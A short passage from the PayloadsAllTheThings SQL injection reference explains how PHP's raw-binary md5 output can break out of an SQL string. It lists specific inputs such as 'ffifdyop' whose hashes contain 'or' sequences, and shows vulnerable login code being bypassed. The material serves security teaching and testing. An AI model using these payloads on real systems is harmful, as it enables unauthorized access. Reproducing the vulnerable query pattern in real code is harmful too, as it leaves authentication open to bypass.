In PHP, if the optional `binary` parameter is set to true, then the `md5` digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.
sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";An attacker can craft a payload where the result of the `md5($password,true)` function will contain a quote and escape the SQL context, for example with `' or 'SOMETHING`. | Hash | Input | Output (Raw) | Payload | | ---- | --------------------------------------- | ----------------------- | ------- | | md5 | ffifdyop | `'or'6�]��!r,��b` | `'or'` | | md5 | 129581926211651571912466741651878684928 | `ÚT0Do#ßÁ'or'8` | `'or'` | | sha1 | 3fDf | `Q�u'='�@�[�t�- o��_-!` | `'='` | | sha1 | 178374 | `ÜÛ¾}_ia!8Wm'/*´Õ` | `'/*` | | sha1 | 17 | `Ùp2ûjww%6\` | `\` | This behavior can be abused to bypass the authentication by escaping the context.
sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
sql1 = "SELECT * FROM admin WHERE pass = ''or'6�]��!r,��b'";Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.